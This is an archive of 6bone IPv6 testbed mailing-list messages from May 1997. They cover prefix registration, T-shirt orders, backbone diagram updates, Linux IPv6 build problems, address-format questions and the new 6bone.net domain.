>I forward following message from Mr. Hagiwara san.
>
>Could you take care of it !
...
>> I'd like to register a prefix for the 6bone. I have visitied 6bone home page
>and read "HOW-TO" then I knew I need to obtain group id and password for me to
>put my object on the server. Could someone please let me know.
>>
>> btw, this *is* not for the one belongs to Bay which is already registered,
>instead this is for the InterOp, because InterOp has introduced V6
>connectivity
>for the exhibitors. I'll be in charge of V6 in the InterOp.
>>
>> # I know we are sending bogus /80 onto the 6bone...sorry...will fix soon ;-)

See below.


Thanks,

Bob


=============
In short, if you want to write files there, do:
$ ftp.ftp.ripe.net
Name: anonymous
Password: yourname@your.domain
cd ipv6/ip6rr
site group ip6rr
site gpass 6bone
(now you can write files there)
=============



From majordom@ISI.EDU  Tue May  6 18:54:04 1997
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Date: Tue, 6 May 1997 09:54:04 +0900 (JST)
From: Osamu Nakamura <osamu@sfc.wide.ad.jp>
Message-Id: <199705060054.JAA24545@shonan.sfc.wide.ad.jp>
To: 6bone@isi.edu
Subject: Re: registoration 
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Status: RO


Thank you for quick reply, Bob and Geeert Jan.
I put the registry of Interop v6.

			Osamu N. and Atsushi Hagiwara.


From majordom@ISI.EDU  Tue May  6 05:54:35 1997
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Date: Tue, 6 May 1997 12:54:35 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone Tshirt 2nd order mailings finished
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

This morning the final batch of 6bone Tshirts for the 2nd (and final) order
went out.  This includes all the following:

================================================================================

Ames, Kurt	1 XL	address on file
Applebee, Richard	2 XXL	address on file
Asayesh, Hamid	1 XXL	no address on file
Banerjee, Partha	2 L	address on file, paid
Barnes, Greg	2 XL, 2 XXL	address on file
Bassham, Larry	1 L	address on file, prepaid
Batie, Alan	1 XL	address on file
Behrle, Jeremy	1 XXL	address on file
Blanchet, Marc	4 L	address on file
Boggs, Adam	1 XL	address on file
Bolding, Darren	2 L	address on file
Boneparth, David	1 XL	aaddress on file
Bortzmeyer, Stephane	1 XL	address on file
Bourgeois, Judd	1 XL	address on file
Burson, Jeff	1 XL	address on file
Caron, Paul	2 L	address on file
Chavez, Paul	1 XL	address on file
Chiang, Rick	2 XL, 2 L, 4 M	address on file
Clark, Alex	4 M, 14 XL, 2 XXL	address on file
Cully, Brian	1 XL	address on file
Desrosiers, Luc	1 XL	address on file
Dewell, Aaron	1 L, 1 XL	address on file
Dransfield, Mike	2 L	address on file
Durand, Alain	2 XL, 2 L	address on file
Fenwick, Wynn	1 XL, 1 XXL	address on file
Hankins, Greg	1 M	address on file
Harrison, Jeff	1 XL	address on file
Haskin, Dimitry	2 M	address on file
Hazeltine, Andy	2 M	address on file
Hoag, Andrew	1 XXL	address on file
Homelien, Oystein	1 L, 1 XL	address on file
Jin, Bih-Huang	1 L	address on file
King, Paul	2 XXL	address on file
Kyriannis, Jimmy	1 L, 1 XL	address on file
Laird, Scott	5 L, 9 XL	address on file
Lee, Chongeun	1 M	address on file
Lekashman, John	2 S, 1 XL, 1 XXL	address on file
Lerperger, Michael	1 XL	address on file
Levenberg, Richard	2 L	address on file
Lewis, David	1 XXL	address on file
Mankin, Allison	2 M, 2 L	address on file
Markov, Igor	1 M	address on file
Marlowe, Matthew	2 XL	address on file
Martin, David	1 L	address on file
Metz, Craig	1 L	address on file, prepaid
Narayan, Vishy	1 M, 1 L	address on file
Peachey, Alex	2 L, 1 XL	address on file
Ramanan PS	2 L	address on file
Ryan, Bryce	5 XXL	address on file
Shah, Sameer	1 XL	address on file
Snyder, Larry	2 XL	address on file
Stewart, John	1 XL	address on file
Sullivan, Don	1 M	address on file
Tannenbaum, Andrew	1 XL	address on file
Tate, Mike	1 XL	address on file
Thompson, Jim	1 M, 1 L	address on file
Virgilio, Vincenzo 	2 XL, 1 L	address on file
Watson, Robert	3 XL	address on file
Wedgwood, Chris	2 L	address on file
Whalen, Matthew	1 L	address on file
Winchcombe, Charlie	5 XXL	address on file, prepaid
Yang, Eric	1 M	address on file

================================================================================

Please send NO checks/money until after you have received your Tshirt(s) in
the mail.  The cost is $10 per Tshirt all costs (and mailing anywhere)
included.

When you do send a check (only upon receipt of Tshirts) please make it out
to Robert L. Fink and mail to:

	Robert L. Fink
	3085 Buena Vista Way
	Berkeley, CA  94708
	USA

================================================================================



From majordom@ISI.EDU  Tue May  6 06:19:46 1997
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Date: Tue, 6 May 1997 13:19:46 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 14
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

new 6bone backbone links diagram - version 14

New BGP4+ backbone link peerings between:

	UUNET/UK and SURFNET/NL

	UUNET/UK and ESNET/US

	UUNET/UK and ANS/US

	ESNET/US and ANS/US

	ESNET/US and NWNET/US

http://www-6bone.lbl.gov/6bone/6bone-bblinks.html


BGP4+ picking up steam!


Thanks,

Bob



From majordom@ISI.EDU  Tue May  6 06:17:12 1997
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Date: Tue, 6 May 1997 13:17:12 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 71
Sender: owner-6bone@ISI.EDU
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Status: RO

new 6bone diagram - version 71

	new site CHICO/US tunneled to CICNET/US

	move TICL/UK to NRL/US (was to IFB/UK)

http://www-6bone.lbl.gov/6bone/6bone-drawing.html


Welcome to CHICO:

	California State University, Chico
	Chico, California, USA


Thanks,

Bob




From majordom@ISI.EDU  Mon May 12 21:23:39 1997
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Date: Mon, 12 May 1997 19:23:39 +0200 (MET DST)
From: Da Snake <dasnake@freenet.hut.fi>
X-Sender: dasnake@deathstar.unknown
To: 6bone@isi.edu
Subject: Unirel.it
Message-Id: <Pine.LNX.3.91.970512192042.153A-100000@deathstar.unknown>
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Hi,

I like to attach one of our machines to the 6bone, my routing is from 
IT.net, where I should ask for tunnel?

I don't have undestand ASN, where I have to get it?

Thanks,
 DaSnake

From majordom@ISI.EDU  Mon May 12 10:10:47 1997
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From: Mark Komarinski <enry@wayga.ratatosk.org>
Message-Id: <199705121810.OAA12774@wayga.ratatosk.org>
Subject: Anyone using Linux?
To: 6bone@ISI.EDU
Date: Mon, 12 May 1997 14:10:47 -0400 (EDT)
Content-Type: text
Sender: owner-6bone@ISI.EDU
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Status: RO

I'm getting closer and closer to getting the IPv6 software compiled for
my Linux machine.  I'm running into problems, especially with the
net-tools package.  Here's the relevant:

gcc -ggdb -O2 -Wall -fomit-frame-pointer -I/usr/include/ipv6 -I. -I/home/enry/net-tools   -c inet6_gr.c -o inet6_gr.o
In file included from /usr/include/linux/ipv6.h:4,
                 from inet6_gr.c:19:
/usr/include/linux/in6.h:30: redefinition of `struct in6_addr'
/usr/include/linux/in6.h:46: redefinition of `struct sockaddr_in6'
/usr/include/linux/in6.h:54: redefinition of `struct ipv6_mreq'
inet6_gr.c: In function `rprint_fib6':
inet6_gr.c:88: `RTF_DCACHE' undeclared (first use this function)
inet6_gr.c:88: (Each undeclared identifier is reported only once
inet6_gr.c:88: for each function it appears in.)
make[1]: *** [inet6_gr.o] Error 1
make[1]: Leaving directory `/home/enry/net-tools/lib'
make: *** [subdirs] Error 2

[enry@wayga net-tools]$ uname -a
Linux wayga.ratatosk.org 2.0.29 #2 Thu Apr 17 10:10:40 EDT 1997 i486

I have 2.1.36 compiled, but not booted (i.e. it's in /usr/src/linux).
RTF_CACHE is defined nowhere on the drive except that file.

Anyone out there using Linux willing to help out?

-Mark

From majordom@ISI.EDU  Mon May 12 21:43:08 1997
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From: Philip Blundell <pjb27@cam.ac.uk>
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To: Mark Komarinski <enry@wayga.ratatosk.org>
Subject: Re: Anyone using Linux?
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On Mon, 12 May 1997, Mark Komarinski wrote:

> I'm getting closer and closer to getting the IPv6 software compiled for
> my Linux machine.  I'm running into problems, especially with the
> net-tools package.  Here's the relevant:

What version of net-tools are you using?  I released 1.41 yesterday, and
you should grab that if you haven't already.

It sounds like you have some problem with your header files as well.
You'll have to explain what C library you're using, and what (if any)
version of inet6-apps you have installed. 

p.


From majordom@ISI.EDU  Mon May 12 07:01:14 1997
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Date: Mon, 12 May 1997 14:01:14 -0700
To: 6bone@isi.edu
From: Ken Beames <Ken_Beames@INS.COM>
Subject: IP address assistance
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Please check my work:


Following the RFC 1897 format:


   | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|

   +---+----------+----------+---+------------+---+--------+-------+

   |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |

   |010|  11111   |  System  |RES|   Network  |RES|        |       |

   |   |          |  Number  |   |   Address  |   | Address|  ID   |

   +---+----------+----------+---+------------+---+--------+-------+


If my ISPs AS# is 1239 (Sprint)

my IPv4 network address is 199.0.193

Subnet zero

Interface 00-A0-D1-02-33-FA


Would be, in binary:


0101111100000100:1101011100000000:1100011100000000:1100000100000000:0000000000000000:0000000010100000:1101000100000010:0011001111111010 


Or,


5F04:D700:C700:C100:0:A0:D102:33FA


Right?


If I were subnetted at 255.255.255.192 and I was on the 3rd subnet (.128), would I represent that as 0080 in the 5th (double octet, word, what name do we call these, hexadectets?)


what is the common practice?


thanks.  -Ken.

-----------------------------------====================

Ken Beames				Phone: 408 542 0268

Network Systems Engineer   		Page:	800 INS 1INS

Information Technology Group	Cell:	415 602 3758

International Network Services	Fax:	408 542 0105

Sunnyvale, CA				Mail:	beames@ins.com

<color><param>0000,0000,ffff</param>Go Dragonslayers!!

</color>=============================--------------------------

"How come nostalgia isn't what it used to be?" 

	-Alfred.

From majordom@ISI.EDU  Mon May 12 07:27:09 1997
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Date: Mon, 12 May 1997 14:27:09 -0700
From: John Kennedy <warlock@csuchico.edu>
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To: enry@wayga.ratatosk.org
Subject: Re: Anyone using Linux?
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[Mark Komarinski]
>  I'm getting closer and closer to getting the IPv6 software compiled
>  for my Linux machine.  I'm running into problems, especially with
>  the net-tools package.  Here's the relevant: ...
>	Linux wayga.ratatosk.org 2.0.29 #2 Thu Apr 17 10:10:40 EDT 1997 i486
>  I have 2.1.36 compiled, but not booted (i.e. it's in /usr/src/linux).
>  RTF_CACHE is defined nowhere on the drive except that file.

  Which version of net-tools are you using?

  Right now, 2.1.36 requires a bunch of API patches to get a lot of the
software to compile properly.  I haven't tried to compile them with the
pre-patch-2.1.37-7 installed, but 2.1.37 is support to have all the API
patches in place when it comes out.  Getting this stuff crunched up
under a 2.0.x kernel is probably a lot more effort than it is worth.
In 2.0.30 they started yanking IPv6-chunks out of the header files.

  I believe net-tools 1.40 or 1.41 is current.  The API patch you want
is linux-advanced-api-patch-2.diff (intended for 2.1.26, but compiles
fairly cleanly against 2.1.36).
								--- john

From majordom@ISI.EDU  Mon May 12 07:37:34 1997
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Subject: Re: IP address assistance
To: Ken_Beames@INS.COM (Ken Beames)
Date: Mon, 12 May 1997 14:37:34 -0700 (PDT)
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In-Reply-To: <3.0.32.19970512140110.007208dc@lexicon.ins.com> from "Ken Beames" at May 12, 97 02:01:14 pm
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> If my ISPs AS# is 1239 (Sprint)
> my IPv4 network address is 199.0.193
> Subnet zero
> Interface 00-A0-D1-02-33-FA
> Would be, in binary:
> 
> 0101111100000100:1101011100000000:1100011100000000:1100000100000000:0000000000000000:0000000010100000:1101000100000010:0011001111111010 
> 
> Or,
> 
> 5F04:D700:C700:C100:0:A0:D102:33FA
> 
> Right?

Right.  I'll note that only the /32 is delegated by me.  

-- 
--bill

From majordom@ISI.EDU  Mon May 12 15:12:48 1997
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Subject: Re: Anyone using Linux?
In-Reply-To: <199705121810.OAA12774@wayga.ratatosk.org> from Mark Komarinski at "May 12, 97 02:10:47 pm"
To: enry@wayga.ratatosk.org (Mark Komarinski)
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	I'm trying to get some patches together that I will attempt to get
davem or linus to sync into 2.1.37 if I can get them in in time.

	You should watch the netdev list, I can give anyone here interested
in the address the information about it if they respond to me directly.

	I had various stability issues when running the latest kernels w/
ipv6 (or even without), so be sure it's a test box you're willing to sacrifice

	- jared

Mark Komarinski graced my mailbox with this long sought knowledge:
> I'm getting closer and closer to getting the IPv6 software compiled for
> my Linux machine.  I'm running into problems, especially with the
> net-tools package.  Here's the relevant:
> 
> gcc -ggdb -O2 -Wall -fomit-frame-pointer -I/usr/include/ipv6 -I. -I/home/enry/net-tools   -c inet6_gr.c -o inet6_gr.o
> In file included from /usr/include/linux/ipv6.h:4,
>                  from inet6_gr.c:19:
> /usr/include/linux/in6.h:30: redefinition of `struct in6_addr'
> /usr/include/linux/in6.h:46: redefinition of `struct sockaddr_in6'
> /usr/include/linux/in6.h:54: redefinition of `struct ipv6_mreq'
> inet6_gr.c: In function `rprint_fib6':
> inet6_gr.c:88: `RTF_DCACHE' undeclared (first use this function)
> inet6_gr.c:88: (Each undeclared identifier is reported only once
> inet6_gr.c:88: for each function it appears in.)
> make[1]: *** [inet6_gr.o] Error 1
> make[1]: Leaving directory `/home/enry/net-tools/lib'
> make: *** [subdirs] Error 2
> 
> [enry@wayga net-tools]$ uname -a
> Linux wayga.ratatosk.org 2.0.29 #2 Thu Apr 17 10:10:40 EDT 1997 i486
> 
> I have 2.1.36 compiled, but not booted (i.e. it's in /usr/src/linux).
> RTF_CACHE is defined nowhere on the drive except that file.
> 
> Anyone out there using Linux willing to help out?
> 
> -Mark
> 


-- 
jared@CIC.Net - CICNET --------- jared@Nether.Net - Nether Network
"bash awk grep perl sed df du, du-du du-du,
vi troff su fsck rm * halt LART LART LART!" -- the Swedish BOFH

From majordom@ISI.EDU  Mon May 12 09:45:39 1997
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Date: Mon, 12 May 1997 16:45:39 -0700
From: John Kennedy <warlock@csuchico.edu>
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>  Please check my work:

  Have you seen <http://www-cnr.lbl.gov/6bone/6bone_tools.html> and, in
particular, <http://www.ibs-us.net/ipv6/ipv6-addr.html>?

>	5F04:D700:C700:C100:0:A0:D102:33FA

  The tool page calculated it as (using 199.0.193.1/24 as your IPv4 addr):

	5F04:D700:00C7:C100:0000:00A0:D102:33FA 

  Doesn't look like the byte got swapped properly (0xC700.C1 vs 0x00C7.C1).
Maybe I got up on the wrong side of the intel this morning, but I think
your answer is correct.

>  If I were subnetted at 255.255.255.192 and I was on the 3rd subnet
>  (.128), would I represent that as 0080 in the 5th (double octet,
>  word, what name do we call these, hexadectets?)

  The subnet field doesn't help too much if you're an A-class either.  (:
Just decide which bits represent your subnet.
								--- john

From majordom@ISI.EDU  Tue May 13 00:14:25 1997
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Date: Tue, 13 May 1997 07:14:25 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: unidentified 6bone Tshirt check from White Knight - J/A Multimedia
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I have received a $20 check for 6bone Tshirts from a company called:

	White Knight Services Inc.
	J/A Multimedia Communications
	16215 Hampton Rd
	Hamilton, VA

There was no name attached anywhere, and my records show no such company.
Could whoever had this check sent please let me know who they are.


Thanks,

Bob



From majordom@ISI.EDU  Tue May 13 11:12:41 1997
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Date: Tue, 13 May 1997 18:12:41 -0700
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 72
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new 6bone diagram - version 72

http://www-6bone.lbl.gov/6bone/6bone-drawing.html

	make VIAGENIE/CA a backbone site

	add SPACENET/DE to UUNET/UK

	drawing cleanup (getting ready for the next big expansion :-)

Thanks,

Bob




From majordom@ISI.EDU  Tue May 13 11:33:46 1997
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone link diagram - version 15
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new 6bone backbone link diagram - version 15

http://www-6bone.lbl.gov/6bone/6bone-bblinks.html

	add VIAGENIE/CA as a backbone site

	change ESNET/US link to NWNET/US back to RIPng
	(no problem, just got it wrong earlier)


Thanks,

Bob



From majordom@ISI.EDU  Tue May 13 11:43:28 1997
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Date: Tue, 13 May 1997 18:43:28 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone.net now active
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I'm pleased to report that we now have the domain name 6bone.net registered:

===============================================================
bob/nsx.lbl.gov[16]:whois -h internic.net 6bone.net
Lawrence Berkeley National Laboratory (6BONE3-DOM)
   One Cyclotron Road
   Berkeley, CA 94720-0001
   US

   Domain Name: 6BONE.NET

   Administrative Contact:
      Fink, Robert L.  (RLF)  RLFINK@LBL.GOV
      (510) 486-5692 (FAX) (510) 486-6363
   Technical Contact, Zone Contact:
      Leres, Craig A  (CAL3)  leres@EE.LBL.GOV
      (510) 486-7576 (FAX) (510) 845-2017
   Billing Contact:
      Fink, Robert L.  (RLF)  RLFINK@LBL.GOV
      (510) 486-5692 (FAX) (510) 486-6363

   Record last updated on 09-May-97.
   Record created on 09-May-97.
   Database last updated on 13-May-97 06:16:37 EDT.

   Domain servers in listed order:

   NSX.LBL.GOV                  131.243.64.3
   NS.RIPE.NET                  193.0.0.193
   TECKLA.APNIC.NET             202.12.28.129
   ORB.ISI.EDU                  128.9.160.66


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.
bob/nsx.lbl.gov[17]:
===============================================================

Thanks for all the help from the off-site DNS folk at isi.edu, ripe.net and
apnic.net.


I will soon have the 6bone web server www.6bone.net active.  When we move
to the new RIPE-style RR at isi, it will also be in this domain, as well as
its mirror sites.

At this point I would encourage anyone with an idea of what to use this
domain for to send their ideas to the list.


Thanks,

Bob



From majordom@ISI.EDU  Wed May 14 17:35:05 1997
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From: JOIN Project Team <ipng@uni-muenster.de>
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To: ipng@sunroof.eng.sun.com, 6bone@ISI.EDU
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Subject: IPv6 Demo at JENC8 in Edinburgh
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Hi,

We would like to inform you about our IPv6 demo at the 8th Joint European
Networking Conference in Edinburgh:

We set up two routers interconnected via ATM running IPv6 and OSPFv6 over
it. One of these routers has tunnels to UNI-C and Telebit in Denmark, with
whom we have collaborated, and JOIN in Germany. These tunnels are running
BGP4+ and IDRPv6 as routing protocols to connect to the global 6bone.

You can also look at:

http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/edinburgh.html

and

http://www.join.uni-muenster.de/JOIN/ipv6/texte-englisch/edinburgh-demo.html

Greetings from Scotland
- Guido

------------------------------------------------------------------------------
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenster.de
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From majordom@ISI.EDU  Wed May 14 04:42:19 1997
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Date: Wed, 14 May 1997 11:42:19 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 73
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new 6bone diagram - version 73

http://www.6bone.net/6bone-drawing.html


	add EMI-DTU/DK to UNI-C/DK


Thanks,

Bob



From majordom@ISI.EDU  Wed May 14 06:45:44 1997
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Date: Wed, 14 May 1997 13:45:44 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 16
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new 6bone backbone links diagram - version 16

http://www.6bone.net/6bone-bblinks.html

	add BGP4+ peering between:

		CICNET/US and ESNET/US

		CICNET/US and SURFNET/NL

		CICNET/US and ISI-LAP/US


Thanks,

Bob



From majordom@ISI.EDU  Thu May 15 02:13:34 1997
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References: <v03007823af9ec6ff3176@[128.3.9.22]> from Bob Fink at "May 13,
 97 06:43:28 pm"
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Date: Thu, 15 May 1997 09:13:34 -0700
To: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: 6bone.net now active
Cc: 6bone@isi.edu (6BONE Mailer)
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Erich,

At 3:15 AM -0700 5/15/97, Erich Meier wrote:
>> I'm pleased to report that we now have the domain name 6bone.net registered:
>
>Cool!
>
>> At this point I would encourage anyone with an idea of what to use this
>> domain for to send their ideas to the list.
>
>As I mentioned earlier, I would enter the border routers of every IPv6 site
>into the 6bone.net zone with the short site name (e.g. "fauern.6bone.net" or
>"join.6bone.net" or "cisco.6bone.net" - I think you get the idea ;-). That
>would make traceroutes much easier to understand.

This might be a lot of work.  I do think all backbone border routers (and
maybe the transits as well) could be named like this.

As we are trying to emulate a real network, maybe we should treat the
"leaf" sites as the users and thus not part of the 6bone.net domain.


Opinions anyone?


Thanks,

Bob



From majordom@ISI.EDU  Thu May 15 03:29:10 1997
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 17
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new 6bone backbone links diagram - version 17

http://www.6bone.net/6bone-bblinks.html

	new BGP4+ peerings:

		SURFNET/NL to ESNET/US

		SURFNET/NL to ISI-LAP/US

		SURFNET/NL to CISCO/US

		UUNET/UK to ISI-LAP/US

		UUNET/UK to NWNET/US (almost up?)


Thanks,

Bob



From majordom@ISI.EDU  Thu May 15 03:33:36 1997
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References: Bob Fink <RLFink@lbl.gov>        "Re: 6bone.net now active"
 (May 15,  9:13am) <v03007823af9ec6ff3176@[128.3.9.22]> 	from Bob Fink at
 "May 13  97 06:43:28 pm" <v03007818afa0e5d8d32d@[128.3.9.22]>
Mime-Version: 1.0
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Date: Thu, 15 May 1997 10:33:36 -0700
To: "Alain Durand" <Alain.Durand@imag.fr>,
        Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: 6bone.net now active
Cc: 6bone@ISI.EDU (6BONE Mailer)
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Alain,

At 10:26 AM -0700 5/15/97, Alain Durand wrote:
>On May 15,  9:13am, Bob Fink wrote:
>> Subject: Re: 6bone.net now active
>
>> >As I mentioned earlier, I would enter the border routers of every IPv6 site
>> >into the 6bone.net zone with the short site name (e.g.
>>"fauern.6bone.net" or
>> >"join.6bone.net" or "cisco.6bone.net" - I think you get the idea ;-). That
>> >would make traceroutes much easier to understand.
>>
>> This might be a lot of work.  I do think all backbone border routers (and
>> maybe the transits as well) could be named like this.
>>
>> As we are trying to emulate a real network, maybe we should treat the
>> "leaf" sites as the users and thus not part of the 6bone.net domain.
>
>I talked about that to some people at last IETF. A common answer is that
>we do not want to recreate the .arpa domain.
>
>www.6bone.net, ftp.6bone.net registry.6bone.net, majordomo@6bone.net
>& all sorts of things like that make a lot of sense to me.
>For site entry point, we might have 6bone-gw.ipv6.your.site or anything
>similar.
>That's nice enough for traceroutes.

I like this idea,, and agree about not recreating the big single domain
again.  After all, we will be morphing this thing into a production net.

We already now have www.6bone.net and whois.6bone.net (for the ISI RR).

I especially like NOT having to do NDS updates for sites on a regular
basis...your 6bone-gw.ipv6.your.site makes a lot of sense.


Thanks,

Bob



From majordom@ISI.EDU  Thu May 15 21:26:03 1997
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In-Reply-To: Bob Fink <RLFink@lbl.gov>
        "Re: 6bone.net now active" (May 15,  9:13am)
References: <v03007823af9ec6ff3176@[128.3.9.22]> 
	from Bob Fink at "May 13  97 06:43:28 pm" <v03007818afa0e5d8d32d@[128.3.9.22]>
X-Mailer: Z-Mail (4.0.1 13Jan97)
To: Bob Fink <RLFink@lbl.gov>,
        Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
Subject: Re: 6bone.net now active
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On May 15,  9:13am, Bob Fink wrote:
> Subject: Re: 6bone.net now active

> >As I mentioned earlier, I would enter the border routers of every IPv6 site
> >into the 6bone.net zone with the short site name (e.g. "fauern.6bone.net" or
> >"join.6bone.net" or "cisco.6bone.net" - I think you get the idea ;-). That
> >would make traceroutes much easier to understand.
>
> This might be a lot of work.  I do think all backbone border routers (and
> maybe the transits as well) could be named like this.
>
> As we are trying to emulate a real network, maybe we should treat the
> "leaf" sites as the users and thus not part of the 6bone.net domain.

I talked about that to some people at last IETF. A common answer is that
we do not want to recreate the .arpa domain.

www.6bone.net, ftp.6bone.net registry.6bone.net, majordomo@6bone.net
& all sorts of things like that make a lot of sense to me.
For site entry point, we might have 6bone-gw.ipv6.your.site or anything
similar.
That's nice enough for traceroutes.

	- Alain.

From majordom@ISI.EDU  Thu May 15 03:39:46 1997
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Date: Thu, 15 May 1997 10:39:46 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new Routing Registry planning
Cc: davidk@ISI.EDU (David Kessens)
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As I have seen no disagreement about moving to the RIPE-style routing
registry, we (David Kessens and I) have been planning for this to happen
quite soon now.

One thing we need to find out before going further is if there are things
that will bust if we terminate the RIP-NCC ftp-style database we are now
using.  We could keep it around for awhile, but just have it be read-only.

So...are there any "gotchas" and other items on your minds about this
impending conversion?

Comments to the list please.


Thanks,

Bob



From majordom@ISI.EDU  Thu May 15 20:22:24 1997
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Date: Thu, 15 May 1997 19:22:24 +0100 (BST)
From: Philip Blundell <pjb27@cam.ac.uk>
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To: Bob Fink <RLFink@lbl.gov>
Cc: 6BONE Mailer <6bone@isi.edu>
Subject: Re: 6bone.net now active
In-Reply-To: <v03007818afa0e5d8d32d@[128.3.9.22]>
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On Thu, 15 May 1997, Bob Fink wrote:

> This might be a lot of work.  I do think all backbone border routers (and
> maybe the transits as well) could be named like this.
> 
> As we are trying to emulate a real network, maybe we should treat the
> "leaf" sites as the users and thus not part of the 6bone.net domain.

I think it would be useful to have leaf sites in the 6bone.net domain as
well, though maybe under some subdomain of it.  Perhaps I'm alone, but I
find that connectivity is still sufficiently flaky that I want to ping
other sites fairly often - and it would be a lot easier to say "ping
uunet-uk.6bone.net" than to have to look up their RIPE entry and dig out
the IPv6 address.

I've added entries for the sites to which I have tunnels to my local DNS
for just this purpose.

Is there any way to automatically generate a zone file from the RIPE
registry?

p.


From majordom@ISI.EDU  Thu May 15 11:00:05 1997
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Date: Thu, 15 May 1997 15:00:05 -0400
From: Frank Lepera <flep@bnl.gov>
Organization: Brookhaven National Laboratory
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To: Bob Fink <RLFink@lbl.gov>
Cc: Alain Durand <Alain.Durand@imag.fr>,
        Erich Meier <Erich.Meier@informatik.uni-erlangen.de>,
        6BONE Mailer <6bone@ISI.EDU>
Subject: Re: 6bone.net now active
References: Bob Fink <RLFink@lbl.gov>        "Re: 6bone.net now active"
	 (May 15,  9:13am) <v03007823af9ec6ff3176@[128.3.9.22]> 	from Bob Fink at
	 "May 13  97 06:43:28 pm" <v03007818afa0e5d8d32d@[128.3.9.22]> <v03007803afa0f8a4c475@[128.3.9.22]>
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Bob...

Isn't the 6 in "6bone.net" not allowed in DNS? I thought a
"label" in the DNS domainname could not or should not start
with a numeric.

-- 

Frank Lepera				flep@bnl.gov
Network Engineering Section, CCD
Brookhaven National Laboratory		[516]344-4183

From majordom@ISI.EDU  Thu May 15 22:43:16 1997
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Date: Thu, 15 May 1997 20:43:16 +0200
To: "Alain Durand" <Alain.Durand@imag.fr>, Bob Fink <RLFink@lbl.gov>,
        Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
From: gustavo@convex.es (Gustavo Sanchez Gomez)
Subject: Re: 6bone.net now active
Cc: 6bone@ISI.EDU (6BONE Mailer)
In-Reply-To: <970515192603.ZM583@rama.imag.fr>
References: <Bob Fink <RLFink@lbl.gov>
 <v03007823af9ec6ff3176@[128.3.9.22]>
 <v03007818afa0e5d8d32d@[128.3.9.22]>
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>
>I talked about that to some people at last IETF. A common answer is that
>we do not want to recreate the .arpa domain.
>
>www.6bone.net, ftp.6bone.net registry.6bone.net, majordomo@6bone.net
>& all sorts of things like that make a lot of sense to me.
>For site entry point, we might have 6bone-gw.ipv6.your.site or anything
>similar.
>That's nice enough for traceroutes.
>
>	- Alain.
>

	I think like Alain. Our target is a smooth transition y address space, and
not in name space !!! A name that now traslate in IP4 address, in the
future, sould be translate in IP6 address.

	Regards



Gustavo S=E1nchez G=F3mez
Consultor
Convex Supercomputer S.A.E.
Tlf: 95-4530694
Luis de Morales 32, edif. Forum, m=F3dulo 3-30
Sevilla, Spain
e-mail: gustavo@convex.es
WWW: http://www.convex.es
WWW: http://www.satec.es

From majordom@ISI.EDU  Thu May 15 11:34:59 1997
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Date: Thu, 15 May 1997 15:34:59 -0400 (EDT)
From: "Dorian R. Kim" <dorian@cic.net>
To: Bob Fink <RLFink@lbl.gov>
Cc: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>,
        6BONE Mailer <6bone@ISI.EDU>
Subject: Re: 6bone.net now active
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> >As I mentioned earlier, I would enter the border routers of every IPv6 site
> >into the 6bone.net zone with the short site name (e.g. "fauern.6bone.net" or
> >"join.6bone.net" or "cisco.6bone.net" - I think you get the idea ;-). That
> >would make traceroutes much easier to understand.

This won't make a difference if the ip6.int entries don't exist or are broken.

-dorian


From majordom@ISI.EDU  Thu May 15 06:15:13 1997
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References: Bob Fink <RLFink@lbl.gov>        "Re: 6bone.net now active"	
 (May 15,  9:13am) <v03007823af9ec6ff3176@[128.3.9.22]> 	from Bob Fink at	
 "May 13  97 06:43:28 pm" <v03007818afa0e5d8d32d@[128.3.9.22]>
 <v03007803afa0f8a4c475@[128.3.9.22]>
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To: Frank Lepera <flep@bnl.gov>
From: Steve Deering <deering@cisco.com>
Subject: Re: 6bone.net now active
Cc: 6BONE Mailer <6bone@ISI.EDU>
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At 12:00 PM -0700 5/15/97, Frank Lepera wrote:
> Isn't the 6 in "6bone.net" not allowed in DNS? I thought a
> "label" in the DNS domainname could not or should not start
> with a numeric.

No, it's OK.  I recall that the rules were changed long ago to allow 3com.com.

Steve



From majordom@ISI.EDU  Thu May 15 06:49:24 1997
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From: davidk@isi.edu
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Subject: Re: 6bone.net now active
To: pjb27@cam.ac.uk (Philip Blundell)
Date: Thu, 15 May 1997 13:49:24 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <Pine.SOL.3.96.970515191946.19218C-100000@hammer.thor.cam.ac.uk> from "Philip Blundell" at May 15, 97 07:22:24 pm
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Philip,

